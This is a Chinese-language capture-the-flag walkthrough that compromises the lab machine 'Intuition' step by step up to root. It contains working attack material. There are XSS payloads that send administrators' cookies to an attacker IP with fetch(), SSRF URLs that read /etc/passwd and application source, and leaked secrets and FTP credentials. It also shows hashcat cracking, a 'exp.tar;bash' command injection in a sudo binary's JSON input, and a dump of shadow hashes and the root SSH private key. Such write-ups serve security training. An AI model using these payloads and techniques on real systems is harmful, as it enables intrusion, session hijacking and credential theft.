Intuition
Recon
Port Scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Sub Domain Enum
ffuf -u "http://comprezzor.htb" -H "Host: FUZZ.comprezzor.htb" -w $ROCKYOU -fs 178
________________________________________________
:: Method : GET
:: URL : http://comprezzor.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.comprezzor.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
auth [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 247ms]
report [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 240ms]
dashboard [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 241ms]
HTTP View
comprezzor.htb
发现一个上传接口,提供在线压缩功能,用到了 LZMA 算法,可以联想到最近出现的 XZ 后门 CVE-2024-3094
auth.comprezzor.htb
发现一个登录接口,暂无凭据信息,此处可能存在 SQL 注入漏洞,另外可以注册登录
登陆后跳转到 report.comprezzor.htb
report.comprezzor.htb
登陆后有一个报告 Bug 的功能,可能存在 XSS 漏洞来获取管理员 Cookie
dashboard.comprezzor.htb
访问时需要登录,登录刚刚注册的用户后跳转到 report.comprezzor.htb 猜测权限不足
因此可以尝试 SQL 注入与 XSS 漏洞
Shell as dev_acc
report.comprezzor.htb
- SQLi
未发现 SQL 注入
- XSS
<img src="" onerror=eval(fetch('http://[Attack IP]?cookie='+document.cookie)) >
等待 Payload 触发,如果不确定可以发送多个不同的 Payload
Cookie: user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
修改浏览器存储的 Cookie
访问 dashboard.comprezzor.htb
dashboard.comprezzor.htb
Web Dir Brute
feroxbuster --no-state -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://dashboard.comprezzor.htb/' -H 'Cookie: user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4' -o dir_dashboard.comprezzor.htb.log
───────────────────────────┬──────────────────────
🎯 Target Url │ http://dashboard.comprezzor.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.2
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🤯 Header │ Cookie: user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
🔎 Extract Links │ true
💾 Output File │ dir_dashboard.comprezzor.htb.log
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 87l 152w 2511c http://dashboard.comprezzor.htb/report/4
200 GET 87l 154w 2517c http://dashboard.comprezzor.htb/report/1
200 GET 87l 150w 2502c http://dashboard.comprezzor.htb/report/2
200 GET 87l 152w 2514c http://dashboard.comprezzor.htb/report/3
200 GET 87l 152w 2515c http://dashboard.comprezzor.htb/report/5
200 GET 107l 146w 2737c http://dashboard.comprezzor.htb/
302 GET 5l 22w 189c http://dashboard.comprezzor.htb/backup => http://dashboard.comprezzor.htb/
405 GET 5l 20w 153c http://dashboard.comprezzor.htb/resolve
没有爆破到有趣的新目录
XSS
其他的报告是有 Set Low Priority 功能的,但是刚刚用来获取管理员 Cookie 的报告一片空白
应该是 XSS 的时候没有加字符导致页面显示错误,修改 Payload
在修改的过程中发现报告消失了,结合功能猜测可能是报告被处理或者删除掉了,那么可以联想到还存在另一个专门处理报告的管理员,此时查看 80 端口的 HTTP 日志,并没有发现其他的请求,尝试重新构造 XSS Payload
<img src=1 onerror="fetch('http://[Attack IP]/?cookie='+document.cookie)">
设置优先级
发现新的 cookie
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
替换 Cookie 后再访问 dashboard
可以看到多了两个新功能,当然,其中的 Create PDF Report 更有趣一点
SSRF (CVE-2022-35583 & CVE-2023–24329)
首先生成一个 PDF,并查看其中的元数据
搜索 wkhtmltopdf 0.12.6 有关漏洞,发现 CVE-2022-35583
输入一个 file:///etc/passwd 发现会有 URL 检查,另外由于 Python HTTP Server 显示的日志太少,这里换成 Nginx
可以成功打印 phpinfo,发现 SSRF 目标客户端为 Python-urllib/3.11,搜索发现 CVE-2023-24329
介绍说空格后的内容会解析到 netloc 部分,这可能会导致绕过黑名单,因此尝试在 file 前加一个空格
file:///etc/passwd
成功,现在需要一些思路来进行下一步
结合前面的内容可以轻易猜到这个 Web 服务应该是用 Python 语言开发的
Linux 有个 /proc 文件存放进程信息,其中 /proc/pid/cmdline 的内容为进程的启动命令,如果这个 Web 的运行方式时 python xxx/xxx.py 那么可以通过此文件获取 Web 目录
本地执行可以看到,文件内容是命令 + 参数,中间使用空字符 \x00 来分隔,因此显示出来的效果就是连在一起的
file:///proc/self/cmdline
可以看到代码文件的路径为 /app/code/app.py 而且这路径感觉好像在容器里面,那么继续查看源代码
file:///app/code/app.py
可以看到一些有趣的内容
# 这里的导入很显然是相对路径,从这里可以得到其他 Py 文件的路径,例如:/app/code/blueprints/index/index.py
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp
# 这个好像是 flask 用来签名 Cookie 的
app.secret_key = "7ASS7ADA8RF3FD7"
那么接下来继续导出 Py 源代码
file:///app/code/blueprints/auth/auth.py
file:///app/code/blueprints/index/index.py
file:///app/code/blueprints/report/report.py
file:///app/code/blueprints/dashboard/dashboard.py
在 dashboard.py 中发现了硬编码的 Cookie 和 FTP 凭据
那么继续枚举 FTP,FTP 可以构造成 url 来用浏览器访问,如果不指定文件,那么将会返回目录下的所有文件
ftp://ftp_admin:u3jai8y71s2@ftp.local/
发现三个新文件,查看各自内容
ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key
ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.pdf
ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
private-8297.key 文件像是一个用于 SSH 连接的私钥
welcome_note.txt 文件内容说 Y27SH19HDIWD 是访问密钥的短语,那应该是密钥的使用密码
密钥需要修复成标准格式,并给文件赋予 0600 权限
SSH Private Key Info
现在不知道这个密钥对应的用户,首先猜测 adam 用户
密钥不匹配,那只能想想其他地方了,突然想起在生成 ssh 密钥对的时候可以使用 -C 参数填入信息
此信息在修改密钥密码时会打印出来(密码短语要正确)
登录 dev_acc
登录成功,而且不是在容器内
Enum
Linpeas
发现一个奇怪的端口 4444
好像时 Selenuim 控制的服务
可惜的是权限不太高
发现 Web 应用的认证数据库
发现两组凭据
FTP
hashcat 可以爆破出 adam 的凭据
hashcat -m 30120 'sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43' /usr/share/wordlists/rockyou.txt
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
adam 用户无法登录,但是可以登录 FTP
发现三个文件
发现一个密钥的一部分,暂时不知道用处,还有一个源代码
// Version : 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>
#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
int check_auth(const char* auth_key) {
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((const unsigned char*)auth_key, strlen(auth_key), digest);
char md5_str[33];
for (int i = 0; i < 16; i++) {
sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
}
if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
return 1;
} else {
return 0;
}
}
void listPlaybooks() {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return;
}
struct dirent *entry;
int playbookNumber = 1;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
printf("%d: %s\n", playbookNumber, entry->d_name);
playbookNumber++;
}
}
closedir(dir);
}
void runPlaybook(const char *playbookName) {
char run_command[1024];
snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
system(run_command);
}
void installRole(const char *roleURL) {
char install_command[1024];
snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
system(install_command);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
int auth_required = 0;
char auth_key[128];
for (int i = 2; i < argc; i++) {
if (strcmp(argv[i], "-a") == 0) {
if (i + 1 < argc) {
strncpy(auth_key, argv[i + 1], sizeof(auth_key));
auth_required = 1;
break;
} else {
printf("Error: -a option requires an auth key.\n");
return 1;
}
}
}
if (!check_auth(auth_key)) {
printf("Error: Authentication failed.\n");
return 1;
}
if (strcmp(argv[1], "list") == 0) {
listPlaybooks();
} else if (strcmp(argv[1], "run") == 0) {
int playbookNumber = atoi(argv[2]);
if (playbookNumber > 0) {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return 1;
}
struct dirent *entry;
int currentPlaybookNumber = 1;
char *playbookName = NULL;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
if (currentPlaybookNumber == playbookNumber) {
playbookName = entry->d_name;
break;
}
currentPlaybookNumber++;
}
}
closedir(dir);
if (playbookName != NULL) {
runPlaybook(playbookName);
} else {
printf("Invalid playbook number.\n");
}
} else {
printf("Invalid playbook number.\n");
}
} else if (strcmp(argv[1], "install") == 0) {
installRole(argv[2]);
} else {
printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
return 0;
}
也是暂时不知道用处
Shell as lopez
翻看一下日志目录
找到一个有趣的应用 IPS/IDS,eve 日志文件存放的是告警信息
可以看到这个事件类型,那么有安全运维经验的好兄弟肯定碰到过一个问题,企业内网的 IDS/IPS 经常会报一个明文密码传输的告警,一般就是 FTP 服务导致的,因此在这里过滤 FTP 看一下有没有凭据信息
对于 .gz 文件,cat 出来的是二进制内容而不是字符串,需要使用 zgrep 来过滤
发现一个本地用户凭据,需要注意状态 530 是登录失败的情况
登录成功
Enum
发现一个 sudo 权限,/opt/runner2/runner2
Shell as Root
运行失败,也没有帮助文档,那只能逆向一下了
可以看到 runner2 在打开 json 文件后尝试获取两个键值,分别是 action、auth_code,同时调用 listPlaybooks 函数,结合起来容易联想到 ansible,所以猜测这个 runner2 是通过 json 文件来操控 ansible 的程序。
但是在这些步骤之前,有一个 md5 校验认证,联想到了前面发现的部分凭据,使用 Hashcat 爆破出完整凭据
hashcat -a 3 -m 0 0feda17076d793c2ef2870d7427ad4ed UHI75GHI?a?a?a?a
0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP
那么继续分析 runner2
发现 runPlaybook 函数调用 snprintf 与 system 存在漏洞,参数直接拼接有可能存在命令注入漏洞
/usr/bin/ansible-playbook -i /opt/playbooks/inventory.ini /opt/playbooks/ $arg1
现在看一下 arg1 传入的是什么
好像是一个静态变量,不可控,下一个
看到 installRole 函数也是类似的调用方式
/usr/bin/ansible-galaxy install $arg1
从 main 函数也可以看到,参数和 role_file 键的值有关,因此构造利用 json 文件
{
"action": "install",
"role_file": "exp.json;bash",
"auth_code": "UHI75GHINKOP"
}
缺少 run 键,套一层
{
"run": {
"action": "install",
"role_file": "exp.json;bash",
"auth_code": "UHI75GHINKOP"
}
}
提示没有 install action
从代码中可以看到,auth_code 键要比 role_file 高一级,因此 json 修改成以下内容
{
"run": {
"action": "install",
"role_file": "exp.json;bash"
},
"auth_code": "UHI75GHINKOP"
}
提示错误的 tar 归档文件
在 installRole 函数中可以看到,执行 system 前有一个 tar 文件检查,那么把 role_file 改为一个存在的 tar 文件
{
"run": {
"action": "install",
"role_file": "exp.tar;bash"
},
"auth_code": "UHI75GHINKOP"
}
Root !
More and More
Dump Hash
root:$y$j9T$uiniFHjBFerbO..eAx7bI1$A6O8Lt6NG3BS33humdTtnyFe3uTcM3Gew1gldp0S2r4:19656:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19589:0:99999:7:::
lxd:!:19589::::::
dnsmasq:*:19595:0:99999:7:::
avahi:*:19605:0:99999:7:::
geoclue:*:19605:0:99999:7:::
adam:$y$j9T$RxWDBIbgNBK.1OPH6yR6q0$SkHyQ3QsKfTQ/igOVFsA5pCyosQdsfOkdN2uFL9rJA9:19656:0:99999:7:::
dev_acc:$y$j9T$lLBxGx6iEU24F53iC/4GY.$njJxClEhidCwWmF9yQjsSChxZ38hN3fhU7N4YOPovt4:19838:0:99999:7:::
lopez:$y$j9T$iuv2R99Ps/.rTY6fkdya/1$gk87UA.ESt6ObAMJVEkH9oxsy3Qui570dUn4NloxqEC:19643:0:99999:7:::
_laurel:!:19822::::::
id_rsa - root
-----BEGIN OPENSSH PRIVATE KEY-----
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
/SyH9wMrVGJ+mPAAAACnJvb3RAbG9jYWw=
-----END OPENSSH PRIVATE KEY-----